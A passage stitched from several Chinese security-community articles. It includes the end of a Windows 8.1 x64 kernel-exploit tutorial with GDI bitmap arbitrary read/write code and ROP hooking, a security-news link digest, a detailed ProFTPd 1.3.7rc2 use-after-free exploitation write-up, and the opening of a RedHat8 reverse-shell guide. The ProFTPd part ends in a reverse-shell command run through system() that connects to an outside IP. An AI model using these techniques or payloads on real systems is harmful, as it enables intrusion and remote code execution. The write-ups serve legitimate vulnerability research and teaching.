* 通过TEB找到PEB
* 再通过PEB找到`GdiSharedHandleTable`句柄表
* 通过计算获得Bitmap的地址
关键实现代码如下
DWORD64 getGdiShreadHandleTableAddr()
{
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
return GdiShreadHandleTableAddr;
}
DWORD64 getBitMapAddr(HBITMAP hBitmap)
{
WORD arrayIndex = LOWORD(hBitmap);
return *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * 0x18);
}
让我们来查看一下Bitmap的结构，我们只需要关注重点的位置就行了
typedef struct{
BASEOBJECT64 BaseObject; // 0x18bytes
SURFOBJ64 SurfObj;
.......
} SURFACE64
typedef struct {
ULONG64 hHmgr; // 8bytes
ULONG32 ulShareCount; // 4bytes
WORD cExclusiveLock; // 2bytes
WORD BaseFlags; // 2bytes
ULONG64 Tid; // 8bytes
} BASEOBJECT64;
typedef struct{
ULONG64 dhsurf; // 8bytes
ULONG64 hsurf; // 8bytes
ULONG64 dhpdev; // 8bytes
ULONG64 hdev; // 8bytes
SIZEL sizlBitmap; // 8bytes
ULONG64 cjBits; // 8bytes
ULONG64 pvBits; // 8bytes
ULONG64 pvScan0; // 8bytes
ULONG32 lDelta; // 4bytes
ULONG32 iUniq; // 4bytes
ULONG32 iBitmapFormat; // 4bytes
USHORT iType; // 2bytes
USHORT fjBitmap; // 2bytes
} SURFOBJ64
这里我借鉴图片来说明，我们关注的点就只有一个`pvScan0`结构，它的偏移是 +0x50 处，可以发现它指向我们的`Pixel
Data`，这个结构就是我们`CreateBitmap`函数传入的第五个参数，也就是说我们传入aaaa，那么pVscan0指向地址的内容就是aaaa
## 任意读写
我们刚才分析了那么多，说到底都是为了一个目的 =>
任意读任意写，那么如何才能任意读和写呢？这里我再介绍两个比较重要的函数`SetBitmapBits`和`GetBitmapBits`其原型如下
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);
LONG GetBitmapBits(
HBITMAP hbit,
LONG cb,
LPVOID lpvBits
);
这两个函数的作用是向pvScan0指向的地址写(读)cb
byte大小的数据，说到这里貌似有一点任意读写的感觉了，光靠一个pvScan0是肯定不能任意读写的，所以这里我们考虑使用两个pvScan0，我们把一个pvScan0指向另外一个pvScan0，我们有`TriggerArbitraryOverwrite`函数可以实现将一个pvScan0指向另一个pvScan0，然后我们再调用`SetBitmapBits`和`GetBitmapBits`函数岂不是就可以进行任意读写了，我们用图片说明：
我们任意读写的代码构造如下，read函数实现将whereRead的内容读到whatValue的位置，write函数实现将whatValue的内容写入whereWrite的位置：
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereRead);
GetBitmapBits(hWorkerBitmap, len, whatValue); // read
}
VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereWrite);
SetBitmapBits(hWorkerBitmap, len, &whatValue); // write
}
让我们平复一下激动的心情，我们现在有了任意读和写的机会了，我们只需要将我们的ROPgadgets写入我们需要Hook的位置，然后调用问题函数执行shellcode就行了，这里我们需要注意的是，我们还需要调整调整堆栈的一些信息，不然很容易就蓝屏了，这里我们进行三次读写操作
readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID)); // 保存Hook地址
writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, sizeof(DWORD64)); // 写入ROPgadgets
//调用问题函数
writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, sizeof(DWORD64)); // 还原Hook地址,不然会蓝屏
## 整合思路
我们最后整合一下思路
* 初始化句柄等结构
* 内核中构造放置我们的shellcode
* 申请两个Bitmap并泄露Bitmap中的pvScan0
* 调用`TriggerArbitraryOverwrite`函数将一个pvScan0指向另一个pvScan0
* 两次读写实现写入ROPgadgets
* 调用`NtQueryIntervalProfile`问题函数
* 一次写入操作实现还原Hook地址的内容
最后整合一下代码即可实现利用，整体代码和验证结果参考 => [这里](https://github.com/ThunderJie/Write-What-Where)
# 0x03：后记
上篇就到这里结束了，win8.1的坑比较多，和win7比起来差距有点大，需要细心调试，下篇我准备分享在win10 x64
1511-1607下的利用，win10下的利用更加新奇，更往后的版本我就简单说明一下自己对利用的一些猜想，以后再来实践
参考资料：
[+]
SMEP原理及绕过：<https://github.com/ThunderJie/Study_pdf/blob/master/Windows%20SMEP%20bypass%20U%3DS.pptx>
[+] ROP的选择：<http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html>
[+] Bitmap结构出处：<http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/>
[+] wjllz师傅的博客：<https://redogwu.github.io/> | 社区文章 |
# 【知识】11月19日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 本周勒索软件盘点、卡巴斯基调查研究NSA黑客工具是如何被盗的、pfSense <= 2.3.1_1 (pfSense-SA-16_08.webgui)授权的命令执行漏洞披露、CVE-2017-15306: Linux内核KVM
PowerPC空指针解引用、新的开源IDS工具、Leading the Blind to Light! – A Chain to RCE。**
资讯类：
本周勒索软件盘点
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-17th-2017-cryptomix-and-targeted-attacks/>
卡巴斯基调查研究NSA黑客工具是如何被盗的
<https://www.hackread.com/kaspersky-investigators-reveal-how-nsa-hacking-tools-were-stolen/>
微软似乎已遗失EQNEDT32.EXE的源代码
<https://www.bleepingcomputer.com/news/microsoft/microsoft-appears-to-have-lost-the-source-code-of-an-office-component/>
BlackArch不再支持i686
<https://blackarch.org/blog.html>
**技术类：**
****
pfSense <= 2.3.1_1 (pfSense-SA-16_08.webgui)授权命令执行漏洞披露
<https://www.trustedsec.com/2017/11/full-disclosure-authenticated-command-execution-vulnerability-pfsense/>
弄一个自主系统玩一下
<http://blog.thelifeofkenneth.com/2017/11/creating-autonomous-system-for-fun-and.html>
CVE-2017-15306: Linux内核KVM PowerPC空指针解引用
<https://xorl.wordpress.com/2017/11/18/cve-2017-15306-linux-kernel-kvm-powerpc-null-pointer-dereference/>
BinCAT：一个二进制静态代码分析工具包
<https://github.com/airbus-seclab/bincat>
逆向分析的一些资源
<https://github.com/wtsxDev/reverse-engineering>
新的开源IDS工具
<https://www.secureworks.com/blog/new-open-source-ids-tools>
一个管理Mac系统WIFI的命令行工具，包含一个交互式的shell
<https://github.com/keithrbennett/macwifi>
Oxygen Forensic Detective X Launched With New WhatsApp Extraction Features
<https://forensicfocus.com/News/article/sid=3027/>
Fast Malware Unpacking With CryptDecrypt and RtlDecompressBuffer
<https://www.youtube.com/watch?v=2zYokTkzIC8>
一个叫WannaDie的勒索软件
<https://twitter.com/struppigel/status/931835892469260288>
<https://www.virustotal.com/#/file/fe6d42775a2f635ad2c027d799f9dae48da42182961b1399a3c04c12221a9c37/detection>
Cisco ASA series part eight: Exploiting the CVE-2016-1287 heap overflow over
IKEv1
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/november/cisco-asa-series-part-eight-exploiting-the-cve-2016-1287-heap-overflow-over-ikev1/>
完整系列
<https://twitter.com/binitamshah/status/929315825319796736>
Leading the Blind to Light! – A Chain to RCE
<https://blog.zsec.uk/rce-chain/>
[PoC]LinkedIn IP地址泄露漏洞
<https://medium.com/@xc0d3rz/ip-address-disclosure-vulnerability-in-linkedin-com-5830fb7476b9>
Microsoft Just Manually Patch Their Equation Editor Executable（CVE-2017-11882）
<https://0patch.blogspot.ca/2017/11/did-microsoft-just-manually-patch-their.html>
SpookFlare – Meterpreter Loader Generator With Multiple Features For Bypassing
Client-Side And Network-Side Countermeasures
<http://www.kitploit.com/2017/11/spookflare-meterpreter-loader-generator.html>
Enigma – Multiplatform Payload Dropper
<http://www.kitploit.com/2017/11/enigma-multiplatform-payload-dropper.html>
Intel FSP逆向分析入门指南
<https://puri.sm/posts/primer-to-reverse-engineering-intel-fsp/>
应用白名单绕过: msbuild.exe
<https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/>
PHPMYFAQ 2.9.9 Code Injection
<https://cxsecurity.com/issue/WLB-2017110111> | 社区文章 |
**作者：knaithe@天玄安全实验室
原文链接：<https://mp.weixin.qq.com/s/RJUFhx5F-wI_fmX8McMCiQ>**
> **漏洞描述** ：UAF类型的漏洞，通过伪造pool_rec内存池控制结构，可以篡改函数指针，从而达到任意命令执行。
>
> **漏洞修复**
> ：<https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49>
>
> **影响版本** ：小于v1.3.7rc3
>
> **测试版本** ：v1.3.7rc2
>
> **保护机制** ：Canary/NX/Full RelRO（ubuntu 18.04版本）
## 环境搭建
**调试环境/目标机器** ：ubuntu 18.04
**ProFTPd源码编译及部署** ：
// 安装依赖
apt-get install -y build-essential net-tools git
// 源码下载
git clone https://github.com/proftpd/proftpd.git
// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2
// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl
// 编译
make -j4
// 打包
apt install -y checkinstall
// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="[email protected]" \
--install=no \
--strip=no \
--stripso=no
**创建匿名用户** ：
groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp
**proftpd.conf匿名登录配置** ：如果没有`/usr/etc/proftpd.conf`这个文件，将以下内容写入。
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User nobody
Group nogroup
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
<Directory />
AllowOverwrite on
</Directory>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
#DisplayFirstChdir .message
# Limit WRITE everywhere in the anonymous chroot
#<Limit WRITE>
# DenyAll
#</Limit>
</Anonymous>
如果有`/usr/etc/proftpd.conf`这个文件，则注释掉下面三行配置，允许匿名用户上传文件。
#<Limit WRITE>
# DenyAll
#</Limit>
**启动proftpd服务** ：
// 直接执行
/usr/sbin/proftpd
**gdb调试**
：关闭系统ASLR，同时注释掉exp里绕获取maps的连接的线程，让proftpd第一个子进程就是漏洞进程，暂时没有找到其它方法在多个子进程里打断点。
gdb /usr/sbin/proftpd \
-ex "set detach-on-fork on" \
-ex "set follow-fork-mode child" \
-ex "set breakpoint pending on" \
-ex "b xfer_stor" \
-ex "b pr_data_xfer" \
-ex "b pr_data_abort" \
-ex "b _exit"
## 漏洞分析
### ProFTPD介绍
proftpd服务全程是Professional FTP
daemon，是目前最为流行的FTP服务软件，相比于vsfptd，proftpd配置灵活，可配置选项更多，支持匿名、虚拟主机等多种环境部署，proftpd对中文环境兼容比vsftpd要好，相对于vsftpd使用效率要高很多，但是proftpd安全性相较vsfptd差一点。
proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制，根据proftpd自己的文档描述，该alloc_pool机制源于apache的开源项目，至于是源于apache哪个开源项目，proftpd文档里并没有说明，我也没有在apache的项目里找到该内存池源码，毕竟apache的项目成千上万。
### 内存池分配器介绍
#### 关键结构
#define CLICK_SZ (sizeof(union align))
`CLICK_SZ`是一个宏，代表内存对齐的长度，64位系统的值为8。
##### block_hdr
union block_hdr {
union align a;
/* Padding */
#if defined(_LP64) || defined(__LP64__)
char pad[32];
#endif
/* Actual header */
struct {
void *endp;
union block_hdr *next;
void *first_avail;
} h;
};
每一个通过`alloc_pool()`或者`make_sub_pool()`函数分配的内存块，都一个`union
block_hdr`，是用来描述当前内存块的状态。
* h->endp：指向当前内存块的末尾地址。
* h->next：指向内存块链表的下一个内存块。
* h->first_avail：指向当前内存块空闲区域的首地址。
##### pool_rec
struct pool_rec {
union block_hdr *first;
union block_hdr *last;
struct cleanup *cleanups;
struct pool_rec *sub_pools;
struct pool_rec *sub_next;
struct pool_rec *sub_prev;
struct pool_rec *parent;
char *free_first_avail;
const char *tag;
};
`struct pool_rec`是用来记录每一个pool状态的结构，关键成员变量的含义描述如下。
first：当前pool链表中，第一个pool的指针。
last：当前pool链表中，最后一个pool的指针。
cleanups：指向cleanup_t结构体，该结构体在释放pool时会用到。
sub_pools：指向当前pool的sub pool。
sub_next：指向当前pool的后一个pool。
sub_prev：指向当前pool的前一个pool。
parent：指向当前pool的父pool。
free_first_avail：指向当前pool内存块的可分配首地址。
tag：可以理解为pool的标签或者名称，比如session pool、table pool。
#### 关键函数
##### alloc_pool
alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列
**内存分配函数的底层核心函数** ，这些函数只对alloc_pool()函数做了简单的封装，我们还是重点介绍alloc_pool()核心函数。
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
// 根据请求分配内存大小reqsz的值，按CLICK_SZ对齐计算所需内存大小sz
/* Round up requested size to an even number of aligned units */
size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
size_t sz = nclicks * CLICK_SZ;
union block_hdr *blok;
char *first_avail, *new_first_avail;
/* For performance, see if space is available in the most recently
* allocated block.
*/
// 从pool中取出最近可用的内存块，如果该pool为空，则函数返回NULL
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
// 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
first_avail = blok->h.first_avail;
// 如果请求分配内存大小reqsz为0，函数直接返回NULL
if (reqsz == 0) {
/* Don't try to allocate memory of zero length.
*
* This should NOT happen normally; if it does, by returning NULL we
* almost guarantee a null pointer dereference.
*/
errno = EINVAL;
return NULL;
}
// 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
new_first_avail = first_avail + sz;
// 计算所需内存大小sz的末尾地址，如果小于等于当前内存块blok的末尾地址，表示当前内存块blok有足够的内分配给用户，并更新当前内存块blok的可用内存首地址，并返回分配的内存的地址。
if (new_first_avail <= (char *) blok->h.endp) {
blok->h.first_avail = new_first_avail; // 并更新当前内存块blok的空闲区域首地址
return (void *) first_avail;
}
/* Need a new one that's big enough */
pr_alarms_block();
// 如果当前blok不足以满足sz，则重新向ptmalloc内存分配器申请内存块，并添加到当前pool中
blok = new_block(sz, exact);
p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
p->last = blok; // 将新申请的blok添加到当前pool的内存块链表的末端
// first_avail指向新申请的blok空闲区域首地址
first_avail = blok->h.first_avail;
// 计算所需内存大小sz的末尾地址，也就是新的first_avail地址
blok->h.first_avail = sz + (char *) blok->h.first_avail;
pr_alarms_unblock();
return (void *) first_avail;
}
##### new_block
new_block()函数 **首先while循环遍历block的空闲链表** 是否有可用的block，没有则向ptmalloc2内存分配器申请新的内存块。
static union block_hdr *new_block(int minsz, int exact) {
union block_hdr **lastptr = &block_freelist;
union block_hdr *blok = block_freelist;
// exact表示minsz大小是否准确，如果exact=false，则minsz还需要加上512字节，反之则不用
if (!exact) {
minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
minsz *= BLOCK_MINFREE;
}
// 遍历block freelist是否有符合要求的block，有则返回符合要求的block
while (blok) {
if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
*lastptr = blok->h.next;
blok->h.next = NULL;
stat_freehit++;
return blok;
}
lastptr = &blok->h.next;
blok = blok->h.next;
}
// block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
/* Nope...damn. Have to malloc() a new one. */
stat_malloc++;
return malloc_block(minsz);
}
##### malloc_block
malloc_block()函数间接调用了malloc()函数申请新内存，并 **初始化新内存块的block头信息** 。
1. h.next置空。
2. h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
3. h.endp指向内存新内存块的block地址结尾。
static union block_hdr *malloc_block(size_t size) {
// 间接调用malloc函数，申请内存大小 = 申请对齐后内存的大小 + block头大小
union block_hdr *blok =
(union block_hdr *) smalloc(size + sizeof(union block_hdr));
// 更新新内存block的头信息
blok->h.next = NULL;
blok->h.first_avail = (char *) (blok + 1);
blok->h.endp = size + (char *) blok->h.first_avail;
return blok;
}
##### make_sub_pool
make_sub_pool()函数用于在当前pool里申请new_pool，并赋值给当前pool的sub_pool字段，
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
// 创建一个512字节的内存块
blok = new_block(0, FALSE);
// new_pool指向新创建的blok的block_hdr后，first_avail向后挪动pool hdr的大小
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
// 给new_pool的头初始化为0
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
// 如果p为真，将new_pool的parent设置为p，new_pool的sub_next设置为p的sub_pools
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
// 如果p的sub_pools不为空，就将new_pool插入到p的sub_pools里其它pool之前
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
// 将new_pool插入到p的sub_pools里
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
### 漏洞触发
为了方便触发漏洞，这里我们先关闭系统地址空间布局随机化(ASLR)。
echo 0 > /proc/sys/kernel/randomize_va_space
然后在启动proftpd，这里我们可以启动无子进程方式，需要加上参数`-X`。
/usr/sbin/proftpd -X -n -d10
**poc大致步骤** ：
第一步，创建线程A **监听本地端口** 3247等待连接，线程A阻塞住，创建线程B， **连接** 目标ip和端口，端口为21，并返回包含'220
ProFTPD Server (ProFTPD Default Installation)'信息，即表示和proftpd服务连上了。
第二步，线程B，发送两条指令，用来登录，第一条指令‘USER xxx’，第二条指令‘PASS
mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。
第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to
I\r\n’，接着发送PORT命令，切换proftpd服务为主动模式，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR，上传任意文件，为了开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后会停止阻塞，想办法让线程停住，可以通过全局变量+while循环来控制。
第四步，线程B，继续发送一段命令A给proftpd
server，发送完，让线程A停止等待，立马让线程A也发送一段垃圾数据给proftpd服务，由于proftpd服务先收到线程B的发送的上传文件的命令，程序进入mod_xfer处理线程B上传文件，并且在`poll_ctrl()`调用pr_cmd_read()接收到命令A，然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool，后续调用strdup时，访问了这个pool，因为写入的垃圾数据，导致strdup函数访问pool时读取的是垃圾数据并取了地址，出现非法内存的段错误。
**漏洞触发** ：
proftpd debug模式运行的崩溃界面，
在gdb调试环境里看到的崩溃堆栈，
## 漏洞利用
### 绕过ASLR
**前提条件** ：需要proftpd支持mod_copy模块，执行`configure`文件时加上`--with-modules=mod_copy`参数，这样proftpd才能支持拷贝粘贴的能力，`site cpfr`为拷贝，`site cpto`为粘贴。
**绕过思路**
：ASLR绕过相对较为简单，proftpd支持mod_copy模块，在登录上proftpd服务后，proftpd可以拷贝自身`/proc/self/maps`来获取进程内堆、代码段、libc的起始地址，proftpd默认模块里，有下载的命令`retr`，但是没法直接下载`/proc/self/maps`文件，所以将`/proc/self/maps`拷贝到/tmp目录下，然后把`/tmp/maps`文件下载下来，可以得到类似这样的文本内容。
### 篡改plain_cleanup_cb
**利用思路** ：类似于在ptmalloc2里，劫持`__free_hook`函数指针一样，在proftpd里，通过劫持`struct
cleanup`里的`void (*plain_cleanup_cb)(void *)`函数指针，来控制执行流，从而达到任意命令执行。
**不同** ：在ptmalloc2里，比较常见的是对`__free_hook`函数指针进行劫持，来控制执行流，`__free_hook`函数指针是一个
**全局变量** ，所以`__free_hook`的地址相对于libc.so的基址是 **固定偏移**
，只要知道了libc在进程中的起始地址，是可以算出`__free_hook`函数指针这个变量的地址的，只要有 **稳定的任意地址写**
，即可稳定利用，大致内存关系可参考下图。
但是在proftpd服务的内存池palloc里，palloc在释放内存池的时候，能劫持的函数指针，目前比较合适的只有`pool_rec->cleanups->plain_cleanup_cb`这个函数指针，想要
**篡改**`plain_cleanup_cb`这个函数指针，就需要知道`pool_rec->cleanups->plain_cleanup_cb`的地址并对其写入我们想要的数据。`pool_rec->cleanups`是当前释放的内存池pool的管理结构`struct
pool_rec`的成员，每个pool的管理结构`block_hdr`和`struct
pool_rec`都在heap段，`plain_cleanup_cb`的地址也在heap段，这样就很难通过偏移计算`plain_cleanup_cb`在heap段的地址，就
**很难稳定的利用** 对`plain_cleanup_cb`劫持来执行任意代码，pool的内存关系可参考下图。
**（注：在64位系统里，palloc内存池按8字节对齐分配内存）**
**任意地址写**
：`cmd->pool`是线程A控制的内容fake_pool，通过伪造`cmd->pool`的内容，借用`make_sub_pool()`函数的任意地址写（这个任意写内容不可控）绕过`pr_cmd_get_displayable_str()`函数内的`pr_table_get()`对"displayable-str"字符串的检索，使其检索失败，继续执行并调用`pstrdup(cmd->pool,
res)`函数，res是线程B控制的内容，`pstrdup()`函数类似于字符串拷贝，通过将`cmd->pool->sub_prev`指向`gid_tab`的地址向前一部分的偏移，以此来篡改`gid_tab->pool`的地址内容指向`cmd->pool
-0x10`的地址，这样在释放`gid_tab`时就会同时释放掉`gid_tab->pool`，便可调用我们控制的`cleanups`，从而达到任意命令执行。
**利用步骤** ：
前三步和漏洞触发流程一样，
第一步，创建线程A **监听本地端口** 3247等待连接，线程A阻塞住，创建线程B， **连接** 目标ip和端口，端口为21，并返回包含'220
ProFTPD Server (ProFTPD Default Installation)'信息，即表示和proftpd服务连上了。
第二步，线程B，发送两条指令，用来 **登录** ，第一条指令‘USER xxx’，第二条指令‘PASS
mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。
第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to I\r\n’，接着发送PORT命令，切换proftpd服务为
**主动模式** ，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR， **上传任意文件**
，开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后，想办法让线程停住，可以通过全局变量+while循环来控制。
从第四步开始有些不同，
第四步，线程B，继续发送一段命令A给proftpd服务，这个命令A内容是特意构造的，就是我们控制`pr_cmd_get_displayable_str()`函数里`pstrdup(cmd->pool,
res)`函数的第二个参数res，构造的内容包含`cmd->pool -0x10`的地址，发送完，让线程A停止等待，立马让线程A发送一段数据给proftpd服务，这次不是再垃圾数据，是我们精心构造好的恶意的`pool_rec`、`cleanup_t`、`blok_hdr`和反弹shell的命令，后面分别用`fake_pool_rec`、`fake_cleanup_t`、`fake_blok_hdr`和`gCmd`来代表，到此，就等待反弹shell吧。
### 构造shellcode
说明，这次shellcode的构建，不同于ptmalloc2的内存管理，这次涉及到大家不熟悉的palloc内存池管理，利用内存池及其控制结构pool_rec和blok_hdr来完成利用，第一次理解起来可能麻烦点，如果大家很熟悉palloc内存池内存池的利用，可以忽略这句话。
再上述的利用第四步中，线程B发送的命令，会在`poll_ctrl()`函数里第933行调用`pr_cmd_read()`读取。
线程A发送的shellcode，会在`pr_data_xfer()`函数第1265行被`pr_netio_read()`函数读取。
`pr_netio_read()`函数的参数`cl_buf`，在`xfer_stor()`函数第2026行从`cmd`分配的`sub_pool`，所以线程A发送的shellcode直接占据了`pool_rec`及后面的内存，shellcode伪造的内容及关系图如下。
`gid_tab`、`cmd->pool`、`cmd->notes`和`cmd->notes->chains`，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。
线程A发送完shellcode后，进入任意写的流程，会再次调用data.c:933行的`pr_cmd_read()`函数，此次读到返回小于0，进入if判断，进入`pr_session_disconnect()`函数，
然后会进入到`xfer_exit_ev()`函数，调用链为`main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()`。然后`xfer_exit_ev()`函数会继续调用`pr_cmd_dispatch_phase()`到`_dispatch()`函数，到了main.c:287行调用`make_sub_pool()`函数。
第一个任意地址写，但是写的内容不可控制，在`make_sub_pool()`函数里，通过箭头指向的两条语句，任意写的内容是`new_pool`的地址，伪造`p->sub_pools`指向`cmd->notes
- 0x10`，这样`new_pool->sub_next`等于`cmd->notes -0x10`，`new_pool->sub_next->sub_prev`等同于指向`cmd->notes->chains`，这个任意写地址内容就是new_pool的地址，内控不可控，不能直接篡改`plain_cleanup_cb`函数指针写入我们想要的内容，所以第一个任意写内容不可控。
但是我们可以借助这个内容不可控的任意写， **篡改cmd->notes->chains**的地址。执行完`make_sub_pool()`函数，紧接着调用`pr_cmd_get_displayable_str()`函数，cmd.c:374行任意写的地方，内容是可控的，res是线程B发送命令的第二个参数。
在不篡改`cmd->notes->chains`的情况下，程序会在调用完`res = pr_table_get(cmd->notes,
"displayable-str",
NULL)`进入if判断并退出`pr_cmd_get_displayable_str()`函数，在篡改完`cmd->notes->chains`的情况下，`pr_table_get()`函数会返回NULL，继续执行到`pstrdup(cmd->pool,
res)`，具体细节自行调试。
当我们伪造的`fake_pool_rec->sub_prev`字段指向`gid_tab-0x90`，伪造res的内容为`cmd->pool -0x10`，恰好在`pstrdup(cmd->pool,
res)`时，res写入的地址刚好是gid_tab的前8字节，也就是`gid_tab->pool`的地址为`cmd->pool -0x10`，如此一来`gid_tab->pool->cleanups`的地址便指向了`cmd->pool->first`，`cmd->pool->first`通过构造指向了`cmd->pool->first
+
0x50`也就是`fake_cleanups`，所以当调用`pr_table_free(gid_tab)`时，最终会调用到`run_cleanups()`函数，参数为`fake_cleanups`，fake_cleanups是我们伪造好的，`fake_cleanups->data`指向一段比如反弹shell的命令`bash
-c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1"
\x00`，`fake_cleanups->plain_cleanup_cb`指向`system`的地址，即可通过system函数调用反弹shell命令。
但有一点，`fake_blok_hdr->end`必须远大于`fake_blok_hdr->first_avail`，建议0x300以上。
**执行结果** ：
## 总结
有三个必须注意到的点，
1. 建议关闭系统ASLR调试和利用。
2. `gid_tab`、`cmd->pool`、`cmd->notes`和`cmd->notes->chains`，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。
3. 本次利用并不稳定，仅供学习。
* * * | 社区文章 |
# 【技术分享】教你如何拿到RedHat8服务器的Shell
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://woumn.wordpress.com/2016/09/24/smashing-the-stack-into-a-reverse-shell/>
译文仅供参考，具体内容表达以及含义原文为准。
**写在前面的话**
我撰写这篇文章目的就是为了教会大家如何去利用RedHat8
Web服务器中存在的一种新型堆栈溢出漏洞来实现攻击。在这篇文章中，我将会列出漏洞利用过程中所有需要用到的工具、实用命令以及控制指令。当然了，我不仅会告诉大家如何利用这个漏洞，我还会跟大家解释漏洞利用背后的实现原理。
在此，我假设各位读者对编程和计算机体系架构已经有基本的了解了。但是也请各位不用担心，我在文章中仍然会对这部分内容进行介绍。
**
**
**工具的使用**
Kali Linux
我强烈建议各位在开始动手操作之前安装好Kali Linux，因为这款渗透测试神器包含有我们所要使用的所有工具。
Metasploit
在操作过程中，我们需要使用Metasploit来生成我们的反向tcp
shell代码，然后再将其嵌入至我的攻击payload中。我所使用的shell代码为linux/x86/shell_reverse_tcp（外加x86/alpha_mixed编码器）。接下来，我会跟大家解释我为何要使用这两项设置。除此之外，我还需要Metasploit来帮助我确定攻击payload的大小。
Netcat
我需要使用Netcat来发送我们的payload，并且对指定的端口设置一个监听器。我之所以选择Netcat，是因为这款工具不仅使用起来非常简单，而且它还可以处理所有TCP/IP层的重要协议。我们只需要通过一个简单的命令–“nc
-l -p [端口号]”就可以开始对特定的端口进行监听了。除此之外，我还需要使用Netcat来向包含漏洞的RedHat8服务器发送GET请求。
GDB调试器
在漏洞利用的过程中，我需要使用GDB调试器（命令为“gdb -core
[文件名]”）来查看我们从目标RedHat8服务器中导出的本地文件副本。其他需要使用的命令如下：
info reg 显示寄存器中所有的信息
x/64 REGISTER(+/- bytes) 显示寄存器地址中的内存数据
**如何运行我们的漏洞利用代码**
假设文件“exploit_gen.py”已经存在于我们的攻击设备中了。现在，我们将要使用Netcat来监听8118端口，然后通过GET请求和端口“SERVERPORTNUM”来将我们生成的攻击payload发送给目标服务器。
1\. 打开两个终端窗口；
